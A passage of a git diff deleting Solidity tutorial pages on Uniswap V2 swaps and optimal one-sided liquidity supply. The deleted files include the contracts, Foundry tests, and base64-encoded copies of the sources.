KICAgICAgICAgICAgMCwKICAgICAgICAgICAgMCwKICAgICAgICAgICAgYWRkcmVzcyh0aGlzKSwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CLAogICAgICAgIHVpbnQgYW1vdW50QURlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50IGFtb3VudEFNaW4sCiAgICAgICAgdWludCBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludCBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudEEsIHVpbnQgYW1vdW50QiwgdWludCBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHN3YXBFeGFjdFRva2Vuc0ZvclRva2VucygKICAgICAgICB1aW50IGFtb3VudEluLAogICAgICAgIHVpbnQgYW1vdW50T3V0TWluLAogICAgICAgIGFkZHJlc3NbXSBjYWxsZGF0YSBwYXRoLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludCBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50W10gbWVtb3J5IGFtb3VudHMpOwp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMkZhY3RvcnkgewogICAgZnVuY3Rpb24gZ2V0UGFpcihhZGRyZXNzIHRva2VuMCwgYWRkcmVzcyB0b2tlbjEpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyk7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyUGFpciB7CiAgICBmdW5jdGlvbiB0b2tlbjAoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKGFkZHJlc3MpOwoKICAgIGZ1bmN0aW9uIHRva2VuMSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAoYWRkcmVzcyk7CgogICAgZnVuY3Rpb24gZ2V0UmVzZXJ2ZXMoKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQxMTIgcmVzZXJ2ZTAsIHVpbnQxMTIgcmVzZXJ2ZTEsIHVpbnQzMiBibG9ja1RpbWVzdGFtcExhc3QpOwp9CgppbnRlcmZhY2UgSUVSQzIwIHsKICAgIGZ1bmN0aW9uIHRvdGFsU3VwcGx5KCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MgcmVjaXBpZW50LCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gYWxsb3dhbmNlKGFkZHJlc3Mgb3duZXIsIGFkZHJlc3Mgc3BlbmRlcikgZXh0ZXJuYWwgdmlldyByZXR1cm5zICh1aW50KTsKCiAgICBmdW5jdGlvbiBhcHByb3ZlKGFkZHJlc3Mgc3BlbmRlciwgdWludCBhbW91bnQpIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbSgKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50IGFtb3VudAogICAgKSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKfQo=", - }, -] - -const html = `

Optimal One Sided Supply

-
// SPDX-License-Identifier: MIT
-pragma solidity ^0.8.20;
-
-contract TestUniswapOptimalOneSidedSupply {
-    address private constant FACTORY = 0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f;
-    address private constant ROUTER = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
-    address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
-
-    function sqrt(uint y) private pure returns (uint z) {
-        if (y > 3) {
-            z = y;
-            uint x = y / 2 + 1;
-            while (x < z) {
-                z = x;
-                x = (y / x + x) / 2;
-            }
-        } else if (y != 0) {
-            z = 1;
-        }
-    }
-
-    /*
-    s = optimal swap amount
-    r = amount of reserve for token a
-    a = amount of token a the user currently has (not added to reserve yet)
-    f = swap fee percent
-    s = (sqrt(((2 - f)r)^2 + 4(1 - f)ar) - (2 - f)r) / (2(1 - f))
-    */
-    function getSwapAmount(uint r, uint a) public pure returns (uint) {
-        return (sqrt(r * (r * 3988009 + a * 3988000)) - r * 1997) / 1994;
-    }
-
-    /* Optimal one-sided supply
-    1. Swap optimal amount from token A to token B
-    2. Add liquidity
-    */
-    function zap(address _tokenA, address _tokenB, uint _amountA) external {
-        require(_tokenA == WETH || _tokenB == WETH, "!weth");
-
-        IERC20(_tokenA).transferFrom(msg.sender, address(this), _amountA);
-
-        address pair = IUniswapV2Factory(FACTORY).getPair(_tokenA, _tokenB);
-        (uint reserve0, uint reserve1, ) = IUniswapV2Pair(pair).getReserves();
-
-        uint swapAmount;
-        if (IUniswapV2Pair(pair).token0() == _tokenA) {
-            // swap from token0 to token1
-            swapAmount = getSwapAmount(reserve0, _amountA);
-        } else {
-            // swap from token1 to token0
-            swapAmount = getSwapAmount(reserve1, _amountA);
-        }
-
-        _swap(_tokenA, _tokenB, swapAmount);
-        _addLiquidity(_tokenA, _tokenB);
-    }
-
-    function _swap(address _from, address _to, uint _amount) internal {
-        IERC20(_from).approve(ROUTER, _amount);
-
-        address[] memory path = new address[](2);
-        path = new address[](2);
-        path[0] = _from;
-        path[1] = _to;
-
-        IUniswapV2Router(ROUTER).swapExactTokensForTokens(
-            _amount,
-            1,
-            path,
-            address(this),
-            block.timestamp
-        );
-    }
-
-    function _addLiquidity(address _tokenA, address _tokenB) internal {
-        uint balA = IERC20(_tokenA).balanceOf(address(this));
-        uint balB = IERC20(_tokenB).balanceOf(address(this));
-        IERC20(_tokenA).approve(ROUTER, balA);
-        IERC20(_tokenB).approve(ROUTER, balB);
-
-        IUniswapV2Router(ROUTER).addLiquidity(
-            _tokenA,
-            _tokenB,
-            balA,
-            balB,
-            0,
-            0,
-            address(this),
-            block.timestamp
-        );
-    }
-}
-
-interface IUniswapV2Router {
-    function addLiquidity(
-        address tokenA,
-        address tokenB,
-        uint amountADesired,
-        uint amountBDesired,
-        uint amountAMin,
-        uint amountBMin,
-        address to,
-        uint deadline
-    ) external returns (uint amountA, uint amountB, uint liquidity);
-
-    function swapExactTokensForTokens(
-        uint amountIn,
-        uint amountOutMin,
-        address[] calldata path,
-        address to,
-        uint deadline
-    ) external returns (uint[] memory amounts);
-}
-
-interface IUniswapV2Factory {
-    function getPair(address token0, address token1) external view returns (address);
-}
-
-interface IUniswapV2Pair {
-    function token0() external view returns (address);
-
-    function token1() external view returns (address);
-
-    function getReserves()
-        external
-        view
-        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
-}
-
-interface IERC20 {
-    function totalSupply() external view returns (uint);
-
-    function balanceOf(address account) external view returns (uint);
-
-    function transfer(address recipient, uint amount) external returns (bool);
-
-    function allowance(address owner, address spender) external view returns (uint);
-
-    function approve(address spender, uint amount) external returns (bool);
-
-    function transferFrom(
-        address sender,
-        address recipient,
-        uint amount
-    ) external returns (bool);
-}
-
` - -export default html diff --git a/src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.md b/src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.md deleted file mode 100644 index 22bbf0924..000000000 --- a/src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.md +++ /dev/null @@ -1,12 +0,0 @@ ---- -title: Uniswap V2 Optimal One Sided Supply -version: 0.8.20 -description: Uniswap V2 Optimal One Sided Supply -keywords: [defi, uniswap, v2, optimal, one, sided, supply, amm] ---- - -### Optimal One Sided Supply - -```solidity -{{{Optimal}}} -``` diff --git a/src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.tsx b/src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.tsx deleted file mode 100644 index 1c63a4f4a..000000000 --- a/src/pages/defi/uniswap-v2-optimal-one-sided-supply/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/defi/uniswap-v2/UniswapV2SwapExamples.sol b/src/pages/defi/uniswap-v2/UniswapV2SwapExamples.sol deleted file mode 100644 index 935f8f445..000000000 --- a/src/pages/defi/uniswap-v2/UniswapV2SwapExamples.sol +++ /dev/null @@ -1,172 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract UniswapV2SwapExamples { - address private constant UNISWAP_V2_ROUTER = - 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; - - address private constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; - address private constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; - address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; - - IUniswapV2Router private router = IUniswapV2Router(UNISWAP_V2_ROUTER); - IERC20 private weth = IERC20(WETH); - IERC20 private dai = IERC20(DAI); - - // Swap WETH to DAI - function swapSingleHopExactAmountIn( - uint amountIn, - uint amountOutMin - ) external returns (uint amountOut) { - weth.transferFrom(msg.sender, address(this), amountIn); - weth.approve(address(router), amountIn); - - address[] memory path; - path = new address[](2); - path[0] = WETH; - path[1] = DAI; - - uint[] memory amounts = router.swapExactTokensForTokens( - amountIn, - amountOutMin, - path, - msg.sender, - block.timestamp - ); - - // amounts[0] = WETH amount, amounts[1] = DAI amount - return amounts[1]; - } - - // Swap DAI -> WETH -> USDC - function swapMultiHopExactAmountIn( - uint amountIn, - uint amountOutMin - ) external returns (uint amountOut) { - dai.transferFrom(msg.sender, address(this), amountIn); - dai.approve(address(router), amountIn); - - address[] memory path; - path = new address[](3); - path[0] = DAI; - path[1] = WETH; - path[2] = USDC; - - uint[] memory amounts = router.swapExactTokensForTokens( - amountIn, - amountOutMin, - path, - msg.sender, - block.timestamp - ); - - // amounts[0] = DAI amount - // amounts[1] = WETH amount - // amounts[2] = USDC amount - return amounts[2]; - } - - // Swap WETH to DAI - function swapSingleHopExactAmountOut( - uint amountOutDesired, - uint amountInMax - ) external returns (uint amountOut) { - weth.transferFrom(msg.sender, address(this), amountInMax); - weth.approve(address(router), amountInMax); - - address[] memory path; - path = new address[](2); - path[0] = WETH; - path[1] = DAI; - - uint[] memory amounts = router.swapTokensForExactTokens( - amountOutDesired, - amountInMax, - path, - msg.sender, - block.timestamp - ); - - // Refund WETH to msg.sender - if (amounts[0] < amountInMax) { - weth.transfer(msg.sender, amountInMax - amounts[0]); - } - - return amounts[1]; - } - - // Swap DAI -> WETH -> USDC - function swapMultiHopExactAmountOut( - uint amountOutDesired, - uint amountInMax - ) external returns (uint amountOut) { - dai.transferFrom(msg.sender, address(this), amountInMax); - dai.approve(address(router), amountInMax); - - address[] memory path; - path = new address[](3); - path[0] = DAI; - path[1] = WETH; - path[2] = USDC; - - uint[] memory amounts = router.swapTokensForExactTokens( - amountOutDesired, - amountInMax, - path, - msg.sender, - block.timestamp - ); - - // Refund DAI to msg.sender - if (amounts[0] < amountInMax) { - dai.transfer(msg.sender, amountInMax - amounts[0]); - } - - return amounts[2]; - } -} - -interface IUniswapV2Router { - function swapExactTokensForTokens( - uint amountIn, - uint amountOutMin, - address[] calldata path, - address to, - uint deadline - ) external returns (uint[] memory amounts); - - function swapTokensForExactTokens( - uint amountOut, - uint amountInMax, - address[] calldata path, - address to, - uint deadline - ) external returns (uint[] memory amounts); -} - -interface IERC20 { - function totalSupply() external view returns (uint); - - function balanceOf(address account) external view returns (uint); - - function transfer(address recipient, uint amount) external returns (bool); - - function allowance(address owner, address spender) external view returns (uint); - - function approve(address spender, uint amount) external returns (bool); - - function transferFrom( - address sender, - address recipient, - uint amount - ) external returns (bool); - - event Transfer(address indexed from, address indexed to, uint value); - event Approval(address indexed owner, address indexed spender, uint value); -} - -interface IWETH is IERC20 { - function deposit() external payable; - - function withdraw(uint amount) external; -} diff --git a/src/pages/defi/uniswap-v2/UniswapV2SwapExamplesTest.sol b/src/pages/defi/uniswap-v2/UniswapV2SwapExamplesTest.sol deleted file mode 100644 index 571875b93..000000000 --- a/src/pages/defi/uniswap-v2/UniswapV2SwapExamplesTest.sol +++ /dev/null @@ -1,95 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -import "forge-std/Test.sol"; -import "forge-std/console.sol"; - -import "../src/UniswapV2SwapExamples.sol"; - -address constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; -address constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F; -address constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; - -contract UniswapV2SwapExamplesTest is Test { - IWETH private weth = IWETH(WETH); - IERC20 private dai = IERC20(DAI); - IERC20 private usdc = IERC20(USDC); - - UniswapV2SwapExamples private uni = new UniswapV2SwapExamples(); - - function setUp() public {} - - // Swap WETH -> DAI - function testSwapSingleHopExactAmountIn() public { - uint wethAmount = 1e18; - weth.deposit{value: wethAmount}(); - weth.approve(address(uni), wethAmount); - - uint daiAmountMin = 1; - uint daiAmountOut = uni.swapSingleHopExactAmountIn(wethAmount, daiAmountMin); - - console.log("DAI", daiAmountOut); - assertGe(daiAmountOut, daiAmountMin, "amount out < min"); - } - - // Swap DAI -> WETH -> USDC - function testSwapMultiHopExactAmountIn() public { - // Swap WETH -> DAI - uint wethAmount = 1e18; - weth.deposit{value: wethAmount}(); - weth.approve(address(uni), wethAmount); - - uint daiAmountMin = 1; - uni.swapSingleHopExactAmountIn(wethAmount, daiAmountMin); - - // Swap DAI -> WETH -> USDC - uint daiAmountIn = 1e18; - dai.approve(address(uni), daiAmountIn); - - uint usdcAmountOutMin = 1; - uint usdcAmountOut = uni.swapMultiHopExactAmountIn( - daiAmountIn, - usdcAmountOutMin - ); - - console.log("USDC", usdcAmountOut); - assertGe(usdcAmountOut, usdcAmountOutMin, "amount out < min"); - } - - // Swap WETH -> DAI - function testSwapSingleHopExactAmountOut() public { - uint wethAmount = 1e18; - weth.deposit{value: wethAmount}(); - weth.approve(address(uni), wethAmount); - - uint daiAmountDesired = 1e18; - uint daiAmountOut = uni.swapSingleHopExactAmountOut( - daiAmountDesired, - wethAmount - ); - - console.log("DAI", daiAmountOut); - assertEq(daiAmountOut, daiAmountDesired, "amount out != amount out desired"); - } - - // Swap DAI -> WETH -> USDC - function testSwapMultiHopExactAmountOut() public { - // Swap WETH -> DAI - uint wethAmount = 1e18; - weth.deposit{value: wethAmount}(); - weth.approve(address(uni), wethAmount); - - // Buy 100 DAI - uint daiAmountOut = 100 * 1e18; - uni.swapSingleHopExactAmountOut(daiAmountOut, wethAmount); - - // Swap DAI -> WETH -> USDC - dai.approve(address(uni), daiAmountOut); - - uint amountOutDesired = 1e6; - uint amountOut = uni.swapMultiHopExactAmountOut(amountOutDesired, daiAmountOut); - - console.log("USDC", amountOut); - assertEq(amountOut, amountOutDesired, "amount out != amount out desired"); - } -} diff --git a/src/pages/defi/uniswap-v2/index.html.ts b/src/pages/defi/uniswap-v2/index.html.ts deleted file mode 100644 index 7e4d6b316..000000000 --- a/src/pages/defi/uniswap-v2/index.html.ts +++ /dev/null @@ -1,291 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Uniswap V2 Swap" -export const description = "Uniswap V2 swap" - -export const keywords = ["defi", "uniswap", "v2", "swap", "amm"] - -export const codes = [ - { - fileName: "UniswapV2SwapExamples.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFVuaXN3YXBWMlN3YXBFeGFtcGxlcyB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgVU5JU1dBUF9WMl9ST1VURVIgPQogICAgICAgIDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKCiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgV0VUSCA9IDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMjsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBEQUkgPSAweDZCMTc1NDc0RTg5MDk0QzQ0RGE5OGI5NTRFZWRlQUM0OTUyNzFkMEY7CiAgICBhZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7CgogICAgSVVuaXN3YXBWMlJvdXRlciBwcml2YXRlIHJvdXRlciA9IElVbmlzd2FwVjJSb3V0ZXIoVU5JU1dBUF9WMl9ST1VURVIpOwogICAgSUVSQzIwIHByaXZhdGUgd2V0aCA9IElFUkMyMChXRVRIKTsKICAgIElFUkMyMCBwcml2YXRlIGRhaSA9IElFUkMyMChEQUkpOwoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKAogICAgICAgIHVpbnQgYW1vdW50SW4sCiAgICAgICAgdWludCBhbW91bnRPdXRNaW4KICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludCBhbW91bnRPdXQpIHsKICAgICAgICB3ZXRoLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbik7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW4pOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGg7CiAgICAgICAgcGF0aCA9IG5ldyBhZGRyZXNzW10oMik7CiAgICAgICAgcGF0aFswXSA9IFdFVEg7CiAgICAgICAgcGF0aFsxXSA9IERBSTsKCiAgICAgICAgdWludFtdIG1lbW9yeSBhbW91bnRzID0gcm91dGVyLnN3YXBFeGFjdFRva2Vuc0ZvclRva2VucygKICAgICAgICAgICAgYW1vdW50SW4sCiAgICAgICAgICAgIGFtb3VudE91dE1pbiwKICAgICAgICAgICAgcGF0aCwKICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gYW1vdW50c1swXSA9IFdFVEggYW1vdW50LCBhbW91bnRzWzFdID0gREFJIGFtb3VudAogICAgICAgIHJldHVybiBhbW91bnRzWzFdOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gc3dhcE11bHRpSG9wRXhhY3RBbW91bnRJbigKICAgICAgICB1aW50IGFtb3VudEluLAogICAgICAgIHVpbnQgYW1vdW50T3V0TWluCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbik7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbik7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgICAgICBhbW91bnRJbiwKICAgICAgICAgICAgYW1vdW50T3V0TWluLAogICAgICAgICAgICBwYXRoLAogICAgICAgICAgICBtc2cuc2VuZGVyLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBhbW91bnRzWzBdID0gREFJIGFtb3VudAogICAgICAgIC8vIGFtb3VudHNbMV0gPSBXRVRIIGFtb3VudAogICAgICAgIC8vIGFtb3VudHNbMl0gPSBVU0RDIGFtb3VudAogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCB0byBEQUkKICAgIGZ1bmN0aW9uIHN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dCgKICAgICAgICB1aW50IGFtb3VudE91dERlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRJbk1heAogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIHdldGgudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluTWF4KTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgyKTsKICAgICAgICBwYXRoWzBdID0gV0VUSDsKICAgICAgICBwYXRoWzFdID0gREFJOwoKICAgICAgICB1aW50W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLAogICAgICAgICAgICBhbW91bnRJbk1heCwKICAgICAgICAgICAgcGF0aCwKICAgICAgICAgICAgbXNnLnNlbmRlciwKICAgICAgICAgICAgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIFdFVEggdG8gbXNnLnNlbmRlcgogICAgICAgIGlmIChhbW91bnRzWzBdIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgd2V0aC50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnRJbk1heCAtIGFtb3VudHNbMF0pOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIGFtb3VudHNbMV07CiAgICB9CgogICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICBmdW5jdGlvbiBzd2FwTXVsdGlIb3BFeGFjdEFtb3VudE91dCgKICAgICAgICB1aW50IGFtb3VudE91dERlc2lyZWQsCiAgICAgICAgdWludCBhbW91bnRJbk1heAogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50IGFtb3VudE91dCkgewogICAgICAgIGRhaS50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIGRhaS5hcHByb3ZlKGFkZHJlc3Mocm91dGVyKSwgYW1vdW50SW5NYXgpOwoKICAgICAgICBhZGRyZXNzW10gbWVtb3J5IHBhdGg7CiAgICAgICAgcGF0aCA9IG5ldyBhZGRyZXNzW10oMyk7CiAgICAgICAgcGF0aFswXSA9IERBSTsKICAgICAgICBwYXRoWzFdID0gV0VUSDsKICAgICAgICBwYXRoWzJdID0gVVNEQzsKCiAgICAgICAgdWludFtdIG1lbW9yeSBhbW91bnRzID0gcm91dGVyLnN3YXBUb2tlbnNGb3JFeGFjdFRva2VucygKICAgICAgICAgICAgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICAgICAgYW1vdW50SW5NYXgsCiAgICAgICAgICAgIHBhdGgsCiAgICAgICAgICAgIG1zZy5zZW5kZXIsCiAgICAgICAgICAgIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIFJlZnVuZCBEQUkgdG8gbXNnLnNlbmRlcgogICAgICAgIGlmIChhbW91bnRzWzBdIDwgYW1vdW50SW5NYXgpIHsKICAgICAgICAgICAgZGFpLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1syXTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gc3dhcEV4YWN0VG9rZW5zRm9yVG9rZW5zKAogICAgICAgIHVpbnQgYW1vdW50SW4sCiAgICAgICAgdWludCBhbW91bnRPdXRNaW4sCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnRbXSBtZW1vcnkgYW1vdW50cyk7CgogICAgZnVuY3Rpb24gc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgIHVpbnQgYW1vdW50T3V0LAogICAgICAgIHVpbnQgYW1vdW50SW5NYXgsCiAgICAgICAgYWRkcmVzc1tdIGNhbGxkYXRhIHBhdGgsCiAgICAgICAgYWRkcmVzcyB0bywKICAgICAgICB1aW50IGRlYWRsaW5lCiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnRbXSBtZW1vcnkgYW1vdW50cyk7Cn0KCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdG90YWxTdXBwbHkoKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIGJhbGFuY2VPZihhZGRyZXNzIGFjY291bnQpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKCiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQpOwoKICAgIGZ1bmN0aW9uIGFwcHJvdmUoYWRkcmVzcyBzcGVuZGVyLCB1aW50IGFtb3VudCkgZXh0ZXJuYWwgcmV0dXJucyAoYm9vbCk7CgogICAgZnVuY3Rpb24gdHJhbnNmZXJGcm9tKAogICAgICAgIGFkZHJlc3Mgc2VuZGVyLAogICAgICAgIGFkZHJlc3MgcmVjaXBpZW50LAogICAgICAgIHVpbnQgYW1vdW50CiAgICApIGV4dGVybmFsIHJldHVybnMgKGJvb2wpOwoKICAgIGV2ZW50IFRyYW5zZmVyKGFkZHJlc3MgaW5kZXhlZCBmcm9tLCBhZGRyZXNzIGluZGV4ZWQgdG8sIHVpbnQgdmFsdWUpOwogICAgZXZlbnQgQXBwcm92YWwoYWRkcmVzcyBpbmRleGVkIG93bmVyLCBhZGRyZXNzIGluZGV4ZWQgc3BlbmRlciwgdWludCB2YWx1ZSk7Cn0KCmludGVyZmFjZSBJV0VUSCBpcyBJRVJDMjAgewogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGU7CgogICAgZnVuY3Rpb24gd2l0aGRyYXcodWludCBhbW91bnQpIGV4dGVybmFsOwp9Cg==", - }, - { - fileName: "UniswapV2SwapExamplesTest.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmltcG9ydCAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0ICJmb3JnZS1zdGQvY29uc29sZS5zb2wiOwoKaW1wb3J0ICIuLi9zcmMvVW5pc3dhcFYyU3dhcEV4YW1wbGVzLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJTd2FwRXhhbXBsZXNUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYyU3dhcEV4YW1wbGVzIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMlN3YXBFeGFtcGxlcygpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgZnVuY3Rpb24gdGVzdFN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICB1aW50IHdldGhBbW91bnQgPSAxZTE4OwogICAgICAgIH